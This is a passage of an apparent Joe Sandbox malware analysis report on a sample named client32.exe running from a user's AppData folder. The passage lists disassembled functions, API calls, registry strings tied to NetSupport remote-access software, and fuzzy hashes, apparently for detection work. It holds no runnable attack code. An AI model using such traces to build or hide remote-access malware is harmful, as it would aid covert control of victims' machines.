Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: %s%s%s.bin$210979$_HF$_HW$_SW
API String ID: 2111968516-1235755772
Opcode ID: 503f2c815b640c3d0002ea6c51c91ecd6f409461de15ff16a7ff97f3048ceaf6
Instruction ID: fa910be19caf0a14a4f119543ead50e584fafd0cecff00e00c2366bf95bcdf21
Opcode Fuzzy Hash: 503f2c815b640c3d0002ea6c51c91ecd6f409461de15ff16a7ff97f3048ceaf6
Instruction Fuzzy Hash: 2AE092A4E5460C9BF300A6498C11BAAFACC174475BFC4C051BFF9AB6A3E9299904C6D2

Function 6EF06940 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 166COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 6EF06950

Part of subcall function 6EF07BE0: _memset.LIBCMT ref: 6EF07BFF
Part of subcall function 6EF07BE0: _strncpy.LIBCMT ref: 6EF07C0B

Part of subcall function 6EEFA4E0: EnterCriticalSection.KERNEL32(6EF3B898,00000000,?,?,?,6EEFDA7F,?,00000000), ref: 6EEFA503
Part of subcall function 6EEFA4E0: InterlockedExchange.KERNEL32(?,00000000), ref: 6EEFA568
Part of subcall function 6EEFA4E0: Sleep.KERNEL32(00000000,?,6EEFDA7F,?,00000000), ref: 6EEFA581
Part of subcall function 6EEFA4E0: LeaveCriticalSection.KERNEL32(6EF3B898,00000000), ref: 6EEFA5B3

Strings

1.2, xrefs: 6EF06998
Channel, xrefs: 6EF06ADD
Publish %d pending services, xrefs: 6EF06AAF
Client, xrefs: 6EF06AE2

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountEnterExchangeInterlockedLeaveSleepTick_memset_strncpy
String ID: 1.2$Channel$Client$Publish %d pending services
API String ID: 1112461860-1140593649
Opcode ID: 2701c211c89926be549d4a74f16b42e8aa7c880a4a3eabb74326359c50cb8b57
Instruction ID: c1465eae73649a312680734864cd5dce2da1fb968b2cfb14790cbb5f7278ccf7
Opcode Fuzzy Hash: 2701c211c89926be549d4a74f16b42e8aa7c880a4a3eabb74326359c50cb8b57
Instruction Fuzzy Hash: 3A511A71A34666CFEF20DFF4D870B9977A6AB01308F25052DE8518BA81E731D485D7E1

Function 11103630 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 90registryCOMMON

Download Yara Rule

APIs

GlobalAddAtomA.KERNEL32(NSMDesktopWnd), ref: 11103683
GetStockObject.GDI32(00000004), ref: 111036DB
RegisterClassA.USER32(?), ref: 111036EF
CreateWindowExA.USER32(00000000,NSMDesktopWnd,?,00000000,00000000,00000000,00000000,00000000,00130000,00000000,11000000,00000000), ref: 1110372C

Strings

NSMDesktopWnd, xrefs: 11103669, 111036E8, 11103726

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AtomClassCreateGlobalObjectRegisterStockWindow
String ID: NSMDesktopWnd
API String ID: 2669163067-206650970
Opcode ID: 3079baf332cc25a70c3d3df9c832fc0325efe936172018c4c3e6d8e20cf8610c
Instruction ID: a046934e961b92c42b42225909fe4a4d9db65d03d00dbebfa88e6fdde24b4f4f
Opcode Fuzzy Hash: 3079baf332cc25a70c3d3df9c832fc0325efe936172018c4c3e6d8e20cf8610c
Instruction Fuzzy Hash: E031F4B4D01719AFCB44CFA9D980AAEFBF8FB08314F50462EE42AE3244E7355900CB94

Function 11145F00 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 80registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(80000002,SOFTWARE\Productive Computer Insight\PCICTL,00000000,00000100,?,00000000,00000000), ref: 11145F70
RegCloseKey.ADVAPI32(?), ref: 11145FD4

Strings

SOFTWARE\NetSupport Ltd\PCICTL, xrefs: 11145F50
ForceRTL, xrefs: 11145F93
SOFTWARE\Productive Computer Insight\PCICTL, xrefs: 11145F37, 11145F6E

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseOpen
String ID: ForceRTL$SOFTWARE\NetSupport Ltd\PCICTL$SOFTWARE\Productive Computer Insight\PCICTL
API String ID: 47109696-3245241687
Opcode ID: a2c2ae4e5c4c2a275a787743371364b614ebaa02131a0ba05eddfad67ef0d136
Instruction ID: 1d1f817806b548678a0140876f7b35b9e852c49707e53231e183cf95c3cf5809
Opcode Fuzzy Hash: a2c2ae4e5c4c2a275a787743371364b614ebaa02131a0ba05eddfad67ef0d136
Instruction Fuzzy Hash: 1E21DD71E0022A9BE764DA64CD80FDEF778AB45718F1041AAE81DF3941D7319D458BA3

Function 111121E0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 11112140: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 1111216A
Part of subcall function 11112140: __wsplitpath.LIBCMT ref: 11112185
Part of subcall function 11112140: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 111121B9

GetComputerNameA.KERNEL32(?,?), ref: 11112288

Strings

\Registry\Machine\SOFTWARE\Classes\N%x.%s, xrefs: 11112297
ACM, xrefs: 11112242
\Registry\Machine\SOFTWARE\Classes\N%x, xrefs: 11112230
, xrefs: 11112281

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ComputerDirectoryInformationNameSystemVolume__wsplitpath
String ID: $ACM$\Registry\Machine\SOFTWARE\Classes\N%x$\Registry\Machine\SOFTWARE\Classes\N%x.%s
API String ID: 806825551-1858614750
Opcode ID: 48ba6f8863ffcd44e27bad5e20faa5f1087748d5dcdcaea7fc0175279a4e57c4
Instruction ID: ca260b95ce0435fc80d5678de4b29a4f2f4f697687454b99fdfeb2ddb07782e0
Opcode Fuzzy Hash: 48ba6f8863ffcd44e27bad5e20faa5f1087748d5dcdcaea7fc0175279a4e57c4
Instruction Fuzzy Hash: C62149B6A042855AD701CE70DD80BFFFFAADB8A204F1445B8D851CB545E736D604C390

Function 11144DD0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 111447F0: GetCurrentProcess.KERNEL32(11029A9F,?,11144A43,?), ref: 111447FC
Part of subcall function 111447F0: GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Roaming\KYED2\client32.exe,00000104,?,11144A43,?), ref: 11144819

WaitForMultipleObjects.KERNEL32(00000000,?,00000000,000000FF), ref: 11144E25
ResetEvent.KERNEL32(0000026C), ref: 11144E39
SetEvent.KERNEL32(0000026C), ref: 11144E4F
WaitForMultipleObjects.KERNEL32(00000000,?,00000000,000000FF), ref: 11144E5E

Strings

MiniDump, xrefs: 11144DD7

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EventMultipleObjectsWait$CurrentFileModuleNameProcessReset
String ID: MiniDump
API String ID: 1494854734-2840755058
Opcode ID: 105b93f749375231fdcb9b481c982d061f92632bc0342d7f03e4e2231c0d94ee
Instruction ID: ea994b22643fb5a56552c53957c3f10a02c9a0f0123a866c2d557df6367c4d32
Opcode Fuzzy Hash: 105b93f749375231fdcb9b481c982d061f92632bc0342d7f03e4e2231c0d94ee
Instruction Fuzzy Hash: 1F112975A8412577E710DBA8DC81F9BF768AB04B28F200230E634E7AC4EB74A50587A1

Function 6EEF8E28 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 6EEF5000: GetProcAddress.KERNEL32(?,GetModuleFileNameExA), ref: 6EEF5014
Part of subcall function 6EEF5000: K32GetModuleFileNameExA.KERNEL32(00000FA0,?,00000000,00000104,00000000,?,6EEF8E50,00000000,?,?,00000104,00000000,?,00000FA0,?), ref: 6EEF5034

FindCloseChangeNotification.KERNEL32(00000000,00000000,?,00000FA0,?), ref: 6EEF8EAE
FreeLibrary.KERNEL32(?), ref: 6EEF8EBF

Part of subcall function 6EEF2420: _strrchr.LIBCMT ref: 6EEF242E

Strings

Set Is247=%d, xrefs: 6EEF8ED7
NSM247Ctl.dll, xrefs: 6EEF8E7E
pcictl_247.dll, xrefs: 6EEF8E6C

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: AddressChangeCloseFileFindFreeLibraryModuleNameNotificationProc_strrchr
String ID: NSM247Ctl.dll$Set Is247=%d$pcictl_247.dll
API String ID: 4066820201-3459472706
Opcode ID: 96048a4f7c3b25440f5215bc21da5e52c0759f2a3ffb0f6bd820d8e0d38b2787
Instruction ID: a5d8bcb91fcb491d665c84d88cabf6b028f70429786fea055e96c3787ab07380
Opcode Fuzzy Hash: 96048a4f7c3b25440f5215bc21da5e52c0759f2a3ffb0f6bd820d8e0d38b2787
Instruction Fuzzy Hash: 0811CB71A10116DBEF208AD2DC61BEEB369AF55305F100459DE09A7340FB719946CBB5

Function 111479B0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

LoadStringA.USER32(00000000,0000194E,?,00000400), ref: 111479DF
wsprintfA.USER32 ref: 11147A16

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

i < _tsizeof (buf), xrefs: 11147A30
#%d, xrefs: 11147A10
..\ctl32\util.cpp, xrefs: 11147A2B

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$ErrorExitLastLoadMessageProcessString
String ID: #%d$..\ctl32\util.cpp$i < _tsizeof (buf)
API String ID: 1985783259-2296142801
Opcode ID: ea150ba1ed1813b9988ca83ab64a483803357b5974e9feb7492af342d5ed009e
Instruction ID: f4f04ea69c0c381d0959b313e9907706ba85fe26c30e15a9a088fcfc7c116df7
Opcode Fuzzy Hash: ea150ba1ed1813b9988ca83ab64a483803357b5974e9feb7492af342d5ed009e
Instruction Fuzzy Hash: 6811E5FAE00218A7D710DEA49D81FEAF36C9B44608F100165FB08F6141EB70AA05CBE4

Function 111101B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 111101C9

Part of subcall function 11163A11: __FF_MSGBANNER.LIBCMT ref: 11163A2A
Part of subcall function 11163A11: __NMSG_WRITE.LIBCMT ref: 11163A31
Part of subcall function 11163A11: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163A56

wsprintfA.USER32 ref: 111101E4

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

_memset.LIBCMT ref: 11110207

Strings

..\ctl32\Refcount.cpp, xrefs: 111101F5
Can't alloc %u bytes, xrefs: 111101DE

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$AllocateErrorExitHeapLastMessageProcess_malloc_memset
String ID: ..\ctl32\Refcount.cpp$Can't alloc %u bytes
API String ID: 3234921582-2664294811
Opcode ID: cdd1c54386482822face1726c8a555e59ef6984596166c085d167c5bbae17b0a
Instruction ID: 098e5996781ad60247c7fcf5caa4ca36f886f8102b778af333740a2f918ca33d
Opcode Fuzzy Hash: cdd1c54386482822face1726c8a555e59ef6984596166c085d167c5bbae17b0a
Instruction Fuzzy Hash: C0F0F6B6E4022863C7209AA49D01FEFF37C9F91609F0001A9FE05B7241EA75AA11C7E5

Function 111466B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 37libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 11145C70: GetVersionExA.KERNEL32(111F1EF0,75A78400), ref: 11145CA0
Part of subcall function 11145C70: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 11145CDF
Part of subcall function 11145C70: _memset.LIBCMT ref: 11145CFD
Part of subcall function 11145C70: _strncpy.LIBCMT ref: 11145DCA

LoadLibraryA.KERNEL32(shcore.dll,00000000,?,11030D50,00000002), ref: 111466CF
GetProcAddress.KERNEL32(00000000,SetProcessDpiAwareness), ref: 111466E1
FreeLibrary.KERNEL32(00000000,?,11030D50,00000002), ref: 111466F4

Strings

shcore.dll, xrefs: 111466CA
SetProcessDpiAwareness, xrefs: 111466DB

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeLoadOpenProcVersion_memset_strncpy
String ID: SetProcessDpiAwareness$shcore.dll
API String ID: 1108920153-1959555903
Opcode ID: e3234517993a23a489bcd726e27309146a97354540acbce9dede09c4332e6aa4
Instruction ID: b4913e853cd1401fb26aad2e9137c069c6cdc321efb83b495f2c8eb55c4c44ed
Opcode Fuzzy Hash: e3234517993a23a489bcd726e27309146a97354540acbce9dede09c4332e6aa4
Instruction Fuzzy Hash: CDF0A03A781225A3E51912AABD58B9ABB5C9BC1A7EF150230F929D6DC0DB50C50082B5

Function 11031F30 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 78COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 11031FE6

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

%s%s.bin, xrefs: 11031FE0
clientinv.cpp, xrefs: 11031F5E
m_pDoInv == NULL, xrefs: 11031F63
210979, xrefs: 11031FC7

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$ErrorExitLastMessageProcess
String ID: %s%s.bin$210979$clientinv.cpp$m_pDoInv == NULL
API String ID: 4180936305-593731480
Opcode ID: 1cb657f4e915e2d1e23f9df1b2d29e1dc20b61536471740f5e16ca5fcb139327
Instruction ID: 4b30c984cb9feb044c1d7ab8c0844ab34c920fbc261825ed793c706054f3ad77
Opcode Fuzzy Hash: 1cb657f4e915e2d1e23f9df1b2d29e1dc20b61536471740f5e16ca5fcb139327
Instruction Fuzzy Hash: D82190B5F00705AFD710CF65CC41BAAB7F4EB88758F10853DE86697681EB35A8008B51

Function 11145240 Relevance: 7.6, APIs: 5, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(11145918,00000000,?,11145918,00000000), ref: 1114525C
__strdup.LIBCMT ref: 11145277

Part of subcall function 11081E00: _strrchr.LIBCMT ref: 11081E0E

Part of subcall function 11145240: _free.LIBCMT ref: 1114529E

_free.LIBCMT ref: 111452AC

Part of subcall function 11163AA5: HeapFree.KERNEL32(00000000,00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ABB
Part of subcall function 11163AA5: GetLastError.KERNEL32(00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ACD

CreateDirectoryA.KERNEL32(11145918,00000000,?,?,?,11145918,00000000), ref: 111452B7

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

